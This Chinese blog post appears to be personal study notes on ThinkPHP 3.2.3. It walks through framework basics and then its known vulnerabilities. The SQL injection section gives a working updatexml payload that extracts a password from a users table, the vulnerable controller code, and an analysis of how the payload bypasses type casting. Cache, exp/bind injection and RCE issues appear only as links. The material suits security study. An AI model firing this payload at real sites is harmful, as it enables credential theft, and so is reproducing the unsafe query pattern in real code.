Thinkphp3漏洞总结

调试环境

mbp+vscode+mamp pro

https://www.cnblogs.com/phonecom/p/10340038.html

TP3.2.3官方手册

控制器

控制器类的命名方式是:控制器名(驼峰法,首字母大写)+Controller

控制器文件的命名方式是:类名+class.php(类文件后缀)

默认的欢迎页面其实就是访问的Home模块下面的Index控制器类的index操作方法 我们修改默认的index操作方法如下:

1
2
3
4
5
6
7
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
echo 'hello,world!';
}
}

访问

/home/index/index 就可以可看到 hello world

也可以访问

1
2
3
4
?m=Home&c=Index&a=index

?s=home/index/index
都相当于访问 /home/index/index

常用的方法 I M 等等方法

ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法等等

https://www.kancloud.cn/manual/thinkphp/1721

渲染

也就是用 assign 和 display组合起来达到渲染的效果 (当然还有其它方法可以)

display()

this->display();后面没参数的话,提交到当前模块儿的当前方法.html(tpl下面的文件夹名字即是模块名,它下面的某个.html文件也就是提交到的方法.html)文件中展示。

this->display();里面传路径,也就是要展示的.html所在的路径。

assign()

this->assign($1,$2);$2即为传过来的参数(自己在本方法中定义的),$1为展示页面中需要的参数(即:display到的页面中传的参数)

控制器里这样写

https://img-blog.csdnimg.cn/323b318dc5784779aa11b56ecceaf245.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

渲染页面这样写

https://img-blog.csdnimg.cn/970e805254ad4b6795a3cf7e09d46ec1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

展示出来的效果如下图

https://img-blog.csdnimg.cn/4910cc282a634c15a3dd6ee8f04e7066.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

数据库配置

/ThinkPHP/Conf/convention.php

https://img-blog.csdnimg.cn/bc27667e7c114caa87d6bf484991ae7c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

ThinkPhp3.2.3缓存漏洞

https://blog.csdn.net/u010433704/article/details/103069229

需要S的缓存方法当前提 比较鸡肋

Thinkphp3.2.3 where注入

payload

1
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23

条件代码如下就行 (使用get方式查询users表中id=? 的数据)

1
2
3
4
5
6
7
8
9
10
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {

public function index(){
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
}

payload截图

https://img-blog.csdnimg.cn/70f499046abc4673a977fe97c9935e9d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

首先正常输入 ?id=1’

流程为 id=1' -> I() -> find() -> _parseOptions() -> _parseType() 然后将我们的字符串清理了。 要知道id参数被改变的时间点在_parseType()中,那进入这个方法要满足

1
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

_parseType 方法 会进行强制类型转换 所以我们需要绕过这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function _parseType(&$data, $key)
{
if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
$fieldType = strtolower($this->fields['_type'][$key]);
if (false !== strpos($fieldType, 'enum')) {
// 支持ENUM类型优先检测
} elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
$data[$key] = intval($data[$key]);
} elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
$data[$key] = floatval($data[$key]);
} elseif (false !== strpos($fieldType, 'bool')) {
$data[$key] = (bool) $data[$key];
}
}

下面这张是正常的传参

https://img-blog.csdnimg.cn/6d3d3e77307442738617f18f2f18a948.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

下面这个是传参 ?id[where]=3 and 1=1 可以发现 options[where] 不是数组了 绕过_parseType

https://img-blog.csdnimg.cn/8e24a65d75944b16b0f1426cf711d345.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5p6X5LiA5LiN5pivMDE=,size_20,color_FFFFFF,t_70,g_se,x_16

https://darkless.cn/2020/06/07/thinkphp3.2.3-sqli/

Thinkphp 3.2.3 exp注入 和 Thinkphp 3.2.3 bind注入

参考 https://y4er.com/post/thinkphp3-vuln/

ThinkPHP3.2.x RCE漏洞

要有可控参数可以assign

https://cloud.tencent.com/developer/article/1855060

https://0xcreed.jxustctf.top/2021/07/ThinkPHP3-2-x-RCE复现/

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~